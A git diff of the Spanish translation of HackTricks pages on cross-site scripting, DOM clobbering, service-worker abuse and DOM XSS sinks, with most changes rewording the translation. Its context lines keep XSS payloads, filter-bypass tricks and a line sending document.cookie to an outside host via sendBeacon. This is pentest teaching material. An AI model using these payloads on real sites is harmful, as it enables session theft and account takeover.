+++ b/src/pentesting-web/xs-search/url-max-length-client-side.md
@@ -1,4 +1,4 @@
-# URL Max Length - Client Side
+# Longitud del URL Máxima - Lado del Cliente
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index fac7a39e8..35bcaad0f 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -47,7 +47,7 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
 
 ### HTML crudo
 
-Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
+Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas posibles etiquetas HTML que podrías usar.\
 Además, ten en cuenta la [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
 
 ### Dentro del atributo de etiquetas HTML
@@ -57,7 +57,7 @@ Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, pod
 1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
 2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
 3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
-4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
+4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="**
 
 Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
 ```html
@@ -143,7 +143,7 @@ server-side-xss-dynamic-pdf.md
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## Codificación de bypass de WAF imagen
+## Bypass de WAF codificando imagen
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
@@ -250,7 +250,7 @@ Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para
 ### Dentro de la etiqueta/escapando del valor del atributo
 
 Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](./#injecting-inside-raw-html) para ejecutar código JS.\
-Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_nota que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
+Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -377,7 +377,7 @@ Puede usar **Hex** y **Octal encode** dentro del atributo `src` de `iframe` (al
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank" y rel="opener"`**, verifica la **siguiente página para explotar este comportamiento**:
+Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que contenga los atributos **`target="_blank" y rel="opener"`**, consulta la **siguiente página para explotar este comportamiento**:
 
 {{#ref}}
 ../reverse-tab-nabbing.md
@@ -385,7 +385,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
 
 ### Bypass de Controladores de Eventos
 
-Primero verifica esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para controladores de eventos **"on"** útiles.\
+Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
 En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
 ```javascript
 <svg onload%09=alert(1)> //No safari
@@ -428,9 +428,9 @@ Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields):
 ```
 **La carga útil de XSS será algo como esto: `" accesskey="x" onclick="alert(1)" x="`**
 
-### Bypass de listas negras
+### Bypass de lista negra
 
-Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**
+Varios trucos utilizando diferentes codificaciones ya se han expuesto en esta sección. Ve **de vuelta para aprender dónde puedes usar:**
 
 - **Codificación HTML (etiquetas HTML)**
 - **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)`
@@ -440,7 +440,7 @@ Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro
 
 **Bypasses para etiquetas y atributos HTML**
 
-Lee los [Bypasses de listas negras de la sección anterior](./#blacklist-bypasses).
+Lee los [Bypasses de lista negra de la sección anterior](./#blacklist-bypasses).
 
 **Bypasses para código JavaScript**
 
@@ -510,7 +510,7 @@ loop``````````````
 <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
 ```
-### Ejecución de JS codificada en Unicode
+### Ejecución de JS con codificación Unicode
 ```javascript
 alert(1)
 alert(1)
@@ -739,7 +739,7 @@ top[8680439..toString(30)](1)
 ## **Vulnerabilidades DOM**
 
 Hay **código JS** que está utilizando **datos controlados de manera insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
-**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se trasladó a esta página**](dom-xss.md)**:**
+**Debido a la extensión de la explicación de** [**vulnerabilidades DOM, se movió a esta página**](dom-xss.md)**:**
 
 {{#ref}}
 dom-xss.md
@@ -748,7 +748,7 @@ dom-xss.md
 Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
 Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
 
-### Mejorando Self-XSS
+### Mejora de Self-XSS
 
 ### Cookie XSS
 
@@ -870,7 +870,7 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 La respuesta es:
 
-- **module** (predeterminado, nada que explicar)
+- **módulo** (predeterminado, nada que explicar)
 - [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un montón de datos (HTML, CSS, JS…) juntos en un **`.wbn`** archivo.
 ```html
 <script type="webbundle">
@@ -900,7 +900,7 @@ import { partition } from "lodash"
 ```
 Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para reasignar una biblioteca a eval para abusar de que puede desencadenar XSS.
 
-- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función es principalmente para resolver algunos problemas causados por la pre-renderización. Funciona así:
+- [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así:
 ```html
 <script type="speculationrules">
 {
@@ -1269,7 +1269,7 @@ Hacer que el usuario navegue en la página sin salir de un iframe y robar sus ac
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!NOTE]
-> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está configurada en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/#httponly) si tienes la suerte suficiente.
+> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/#httponly) si tienes la suerte suficiente.
 
 ### Robar Contenido de la Página
 ```javascript
@@ -1429,7 +1429,7 @@ shadow-dom.md
 
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
 
-### Cargas útiles de Blind XSS
+### Cargas útiles de XSS ciegas
 
 También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
 ```markup
diff --git a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
index e4a4663a0..579788849 100644
--- a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
+++ b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
@@ -53,7 +53,7 @@ var sw =
 ```
 Hay un **C2** dedicado a la **explotación de Service Workers** llamado [**Shadow Workers**](https://shadow-workers.github.io) que será muy útil para abusar de estas vulnerabilidades.
 
-La **directiva de caché de 24 horas** limita la vida de un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo el estado en línea del cliente. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script SW. También se aconseja a los desarrolladores crear un [**kill-switch para service workers**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida.
+La **directiva de caché de 24 horas** limita la vida de un **service worker (SW)** malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo el estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script SW. También se aconseja a los desarrolladores crear un [**kill-switch para service workers**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para una desactivación rápida.
 
 ## Abusando de `importScripts` en un SW a través de DOM Clobbering
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
index 32e4903fe..aca7977a5 100644
--- a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
+++ b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
@@ -4,16 +4,16 @@
 
 Más detalles [**en este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
 
-La técnica discutida aquí implica entender el comportamiento e interacción de dos tipos principales de caché: la **caché de retroceso/avance (bfcache)** y la **caché de disco**. La bfcache, que almacena una instantánea completa de una página incluyendo el montón de JavaScript, tiene prioridad sobre la caché de disco para las navegaciones de retroceso/avance debido a su capacidad para almacenar una instantánea más completa. La caché de disco, en contraste, almacena recursos obtenidos de la web sin incluir el montón de JavaScript, y se utiliza para las navegaciones de retroceso/avance para reducir los costos de comunicación. Un aspecto interesante de la caché de disco es su inclusión de recursos obtenidos utilizando `fetch`, lo que significa que los recursos de URL accedidos serán renderizados por el navegador desde la caché.
+La técnica discutida aquí implica entender el comportamiento y la interacción de dos tipos principales de caché: la **caché de retroceso/avance (bfcache)** y la **caché de disco**. La bfcache, que almacena una instantánea completa de una página incluyendo el montón de JavaScript, tiene prioridad sobre la caché de disco para las navegaciones de retroceso/avance debido a su capacidad para almacenar una instantánea más completa. La caché de disco, en contraste, almacena recursos obtenidos de la web sin incluir el montón de JavaScript, y se utiliza para las navegaciones de retroceso/avance para reducir los costos de comunicación. Un aspecto interesante de la caché de disco es su inclusión de recursos obtenidos usando `fetch`, lo que significa que los recursos de URL accedidos serán renderizados por el navegador desde la caché.
 
 ### Puntos Clave:
 
 - La **bfcache** tiene precedencia sobre la caché de disco en las navegaciones de retroceso/avance.
-- Para utilizar una página almacenada en la caché de disco en lugar de bfcache, este último debe ser deshabilitado.
+- Para utilizar una página almacenada en la caché de disco en lugar de la bfcache, esta última debe ser desactivada.
 
-### Deshabilitando bfcache:
+### Desactivando bfcache:
 
-Por defecto, Puppeteer deshabilita bfcache, alineándose con las condiciones listadas en la documentación de Chromium. Un método efectivo para deshabilitar bfcache es a través del uso de `RelatedActiveContentsExist`, logrado al abrir una página con `window.open()` que retiene una referencia a `window.opener`.
+Por defecto, Puppeteer desactiva bfcache, alineándose con las condiciones listadas en la documentación de Chromium. Un método efectivo para desactivar bfcache es a través del uso de `RelatedActiveContentsExist`, logrado al abrir una página con `window.open()` que retiene una referencia a `window.opener`.
 
 ### Reproduciendo el comportamiento:
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
index 405a13d0d..53a0d9ed8 100644
--- a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
+++ b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
@@ -21,7 +21,7 @@ Luego, en "Dev Tools" --> "Sources" **selecciona el archivo** que deseas sobresc
 
 ![](<../../images/image (742).png>)
 
-Esto **copiará el archivo JS localmente** y podrás **modificar esa copia en el navegador**. Así que solo agrega el **`debugger;`** donde quieras, **guarda** el cambio y **recarga** la página, y cada vez que accedas a esa página web **tu copia local de JS se cargará** y tu comando de depuración se mantendrá en su lugar:
+Esto **copiará el archivo JS localmente** y podrás **modificar esa copia en el navegador**. Así que solo agrega el **`debugger;`** donde quieras, **guarda** el cambio y **recarga** la página, y cada vez que accedas a esa página web **tu copia local de JS se cargará** y tu comando de depurador se mantendrá en su lugar:
 
 ![](<../../images/image (594).png>)
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
index 1ec9d2c62..3a1312f97 100644
--- a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
+++ b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## **Conceptos básicos**
+## **Fundamentos**
 
 Es posible generar **variables globales dentro del contexto JS** con los atributos **`id`** y **`name`** en las etiquetas HTML.
 ```html
@@ -54,7 +54,7 @@ alert(x.y) //controlled
 > [!WARNING]
 > La etiqueta de estilo se utiliza para **dar suficiente tiempo al iframe para renderizarse**. Sin ella, encontrarás una alerta de **undefined**.
 
-Para sobrescribir atributos más profundos, puedes usar **iframes con codificación html** de esta manera:
+Para clobber atributos más profundos, puedes usar **iframes con codificación html** de esta manera:
 ```html
 <iframe
 name="a"
@@ -110,17 +110,17 @@ Puedes [**encontrar un ejemplo de este tipo de clobbering en este CTF writeup**]
 
 ## Clobbering del objeto documento
 
-Según la documentación, es posible sobrescribir atributos del objeto documento utilizando DOM Clobbering:
+Según la documentación, es posible sobrescribir atributos del objeto documento usando DOM Clobbering:
 
-> La interfaz [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [soporta propiedades nombradas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedades soportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) de acuerdo con el elemento que las contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos:
+> La [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [soporta propiedades nombradas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedades soportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un [Document](https://html.spec.whatwg.org/multipage/dom.html#document) objeto documento en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) de acuerdo con el elemento que las contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos:
 >
-> \- El valor del atributo de contenido name para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), y [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido name no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
+> \- El valor del atributo de contenido name para todos los [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), y [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elementos que tienen un atributo de contenido name no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
 > \
-> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
+> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elementos que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
 > \
-> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido name no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
+> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elementos que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido name no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
 
-Usando esta técnica, puedes sobrescribir **valores comúnmente utilizados como `document.cookie`, `document.body`, `document.children`**, e incluso métodos en la interfaz Document como `document.querySelector`.
+Usando esta técnica, puedes sobrescribir **valores comúnmente usados como `document.cookie`, `document.body`, `document.children`**, e incluso métodos en la interfaz Document como `document.querySelector`.
 ```javascript
 document.write("<img name=cookie />")
 
@@ -208,7 +208,7 @@ Es posible agregar **nuevas entradas dentro de un formulario** simplemente **esp
 Click to send!
 </button>
 ```
-- Para más atributos de formulario en [**botón consulta esto**](https://www.w3schools.com/tags/tag_button.asp)**.**
+- Para más atributos de formulario en [**button check this**](https://www.w3schools.com/tags/tag_button.asp)**.**
 
 ## Referencias
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md
index d8ec929ad..cd70c2a73 100644
--- a/src/pentesting-web/xss-cross-site-scripting/dom-invader.md
+++ b/src/pentesting-web/xss-cross-site-scripting/dom-invader.md
@@ -4,7 +4,7 @@
 
 ## DOM Invader
 
-DOM Invader es una herramienta del navegador instalada en el navegador integrado de Burp. Ayuda en **la detección de vulnerabilidades DOM XSS** utilizando varias fuentes y sumideros, incluidos mensajes web y contaminación de prototipos. La herramienta está preinstalada como una extensión.
+DOM Invader es una herramienta del navegador instalada en el navegador integrado de Burp. Ayuda en **la detección de vulnerabilidades DOM XSS** utilizando diversas fuentes y sumideros, incluidos mensajes web y contaminación de prototipos. La herramienta está preinstalada como una extensión.
 
 DOM Invader integra una pestaña dentro del panel DevTools del navegador que permite lo siguiente:
 
@@ -13,7 +13,7 @@ DOM Invader integra una pestaña dentro del panel DevTools del navegador que per
 3. Detección de **fuentes de contaminación de prototipos del lado del cliente** y escaneo de gadgets controlables enviados a sumideros riesgosos.
 4. Identificación de **vulnerabilidades de clobbering DOM**.
 
-### Habilitarlo
+### Habilítalo
 
 En el navegador integrado de Burp, ve a la **extensión de Burp** y habilítala:
 
@@ -71,13 +71,13 @@ b.testproperty
 Una vez que encuentres una fuente, puedes **scanear en busca de un gadget**:
 
 1. Se abre una nueva pestaña por DOM Invader cuando se hace clic en el botón **Scan for gadgets**, que se puede encontrar junto a cualquier fuente de contaminación de prototipos identificada en la vista **DOM**. Luego comienza el escaneo en busca de gadgets adecuados.
-2. Mientras tanto, en la misma pestaña, la pestaña **DOM Invader** debería estar abierta en el panel de DevTools. Después de que se complete el escaneo, cualquier sink accesible a través de los gadgets identificados se muestra en la vista **DOM**. Por ejemplo, se muestra un gadget con una propiedad llamada `html` que se pasa al sink `innerHTML` en el ejemplo a continuación.
+2. Mientras tanto, en la misma pestaña, la pestaña **DOM Invader** debería estar abierta en el panel de DevTools. Después de que se complete el escaneo, cualquier sink accesible a través de los gadgets identificados se muestra en la vista **DOM**. Por ejemplo, se muestra en el siguiente ejemplo una propiedad de gadget llamada `html` que se pasa al sink `innerHTML`.
 
 ## DOM clobbering
 
 En la imagen anterior es posible ver que se puede activar el escaneo de DOM clobbering. Una vez hecho esto, **DOM Invader comenzará a buscar vulnerabilidades de DOM clobbering**.
 
-## References
+## Referencias
 
 - [https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)
 - [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling)
diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md
index d9ea7c649..357a05044 100644
--- a/src/pentesting-web/xss-cross-site-scripting/dom-xss.md
+++ b/src/pentesting-web/xss-cross-site-scripting/dom-xss.md
@@ -31,56 +31,56 @@ sessionStorage
 IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
 Database
 ```
-**Sinks Comunes:**
+**Common Sinks:**
 
-| [**Redirección Abierta**](dom-xss.md#open-redirect)                             | [**Inyección de Javascript**](dom-xss.md#javascript-injection)                   | [**Manipulación de datos DOM**](dom-xss.md#dom-data-manipulation) | **jQuery**                                                             |
-| -------------------------------------------------------------------------------- | --------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
-| `location`                                                                       | `eval()`                                                                          | `scriptElement.src`                                           | `add()`                                                                |
-| `location.host`                                                                  | `Function() constructor`                                                          | `scriptElement.text`                                          | `after()`                                                              |
-| `location.hostname`                                                              | `setTimeout()`                                                                    | `scriptElement.textContent`                                   | `append()`                                                             |
-| `location.href`                                                                  | `setInterval()`                                                                   | `scriptElement.innerText`                                     | `animate()`                                                            |
-| `location.pathname`                                                              | `setImmediate()`                                                                  | `someDOMElement.setAttribute()`                               | `insertAfter()`                                                        |
-| `location.search`                                                                | `execCommand()`                                                                   | `someDOMElement.search`                                       | `insertBefore()`                                                       |
-| `location.protocol`                                                              | `execScript()`                                                                    | `someDOMElement.text`                                         | `before()`                                                             |
-| `location.assign()`                                                              | `msSetImmediate()`                                                                | `someDOMElement.textContent`                                  | `html()`                                                               |
-| `location.replace()`                                                             | `range.createContextualFragment()`                                              | `someDOMElement.innerText`                                    | `prepend()`                                                            |
-| `open()`                                                                         | `crypto.generateCRMFRequest()`                                                  | `someDOMElement.outerText`                                    | `replaceAll()`                                                         |
-| `domElem.srcdoc`                                                                 | **\`\`**[**Manipulación de ruta de archivo local**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value`                                        | `replaceWith()`                                                        |
-| `XMLHttpRequest.open()`                                                          | `FileReader.readAsArrayBuffer()`                                                | `someDOMElement.name`                                         | `wrap()`                                                               |
-| `XMLHttpRequest.send()`                                                          | `FileReader.readAsBinaryString()`                                               | `someDOMElement.target`                                       | `wrapInner()`                                                          |
-| `jQuery.ajax()`                                                                  | `FileReader.readAsDataURL()`                                                    | `someDOMElement.method`                                       | `wrapAll()`                                                            |
-| `$.ajax()`                                                                       | `FileReader.readAsText()`                                                       | `someDOMElement.type`                                         | `has()`                                                                |
-| **\`\`**[**Manipulación de solicitud Ajax**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()`                                                       | `someDOMElement.backgroundImage`                              | `constructor()`                                                        |
-| `XMLHttpRequest.setRequestHeader()`                                              | `FileReader.root.getFile()`                                                     | `someDOMElement.cssText`                                      | `init()`                                                               |
-| `XMLHttpRequest.open()`                                                          | `FileReader.root.getFile()`                                                     | `someDOMElement.codebase`                                     | `index()`                                                              |
-| `XMLHttpRequest.send()`                                                          | [**Manipulación de enlaces**](dom-xss.md#link-manipulation)                     | `someDOMElement.innerHTML`                                    | `jQuery.parseHTML()`                                                   |
-| `jQuery.globalEval()`                                                            | `someDOMElement.href`                                                           | `someDOMElement.outerHTML`                                    | `$.parseHTML()`                                                        |
-| `$.globalEval()`                                                                 | `someDOMElement.src`                                                            | `someDOMElement.insertAdjacentHTML`                           | [**Inyección de JSON del lado del cliente**](dom-xss.md#client-side-sql-injection) |
-| **\`\`**[**Manipulación de almacenamiento HTML5**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action`                                                         | `someDOMElement.onevent`                                      | `JSON.parse()`                                                         |
-| `sessionStorage.setItem()`                                                       | [**Inyección de XPath**](dom-xss.md#xpath-injection)                             | `document.write()`                                            | `jQuery.parseJSON()`                                                   |
-| `localStorage.setItem()`                                                         | `document.evaluate()`                                                             | `document.writeln()`                                          | `$.parseJSON()`                                                        |
-| **``**[**`Denegación de Servicio`**](dom-xss.md#denial-of-service)**``**        | `someDOMElement.evaluate()`                                                       | `document.title`                                              | **\`\`**[**Manipulación de Cookies**](dom-xss.md#cookie-manipulation)      |
-| `requestFileSystem()`                                                            | **\`\`**[**Manipulación de dominio de documento**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()`                | `document.cookie`                                                      |
-| `RegExp()`                                                                       | `document.domain`                                                                 | `history.pushState()`                                         | [**Envenenamiento de URL de WebSocket**](dom-xss.md#websocket-url-poisoning)      |
-| [**Inyección SQL del lado del cliente**](dom-xss.md#client-side-sql-injection)   | [**Manipulación de mensajes web**](dom-xss.md#web-message-manipulation)         | `history.replaceState()`                                      | `WebSocket`                                                            |
-| `executeSql()`                                                                   | `postMessage()`                                                                   | \`\`                                                          | \`\`                                                                   |
+| [**Open Redirect**](dom-xss.md#open-redirect)                                    | [**Javascript Injection**](dom-xss.md#javascript-injection)                         | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation) | **jQuery**                                                             |
+| -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
+| `location`                                                                       | `eval()`                                                                            | `scriptElement.src`                                           | `add()`                                                                |
+| `location.host`                                                                  | `Function() constructor`                                                            | `scriptElement.text`                                          | `after()`                                                              |
+| `location.hostname`                                                              | `setTimeout()`                                                                      | `scriptElement.textContent`                                   | `append()`                                                             |
+| `location.href`                                                                  | `setInterval()`                                                                     | `scriptElement.innerText`                                     | `animate()`                                                            |
+| `location.pathname`                                                              | `setImmediate()`                                                                    | `someDOMElement.setAttribute()`                               | `insertAfter()`                                                        |
+| `location.search`                                                                | `execCommand()`                                                                     | `someDOMElement.search`                                       | `insertBefore()`                                                       |
+| `location.protocol`                                                              | `execScript()`                                                                      | `someDOMElement.text`                                         | `before()`                                                             |
+| `location.assign()`                                                              | `msSetImmediate()`                                                                  | `someDOMElement.textContent`                                  | `html()`                                                               |
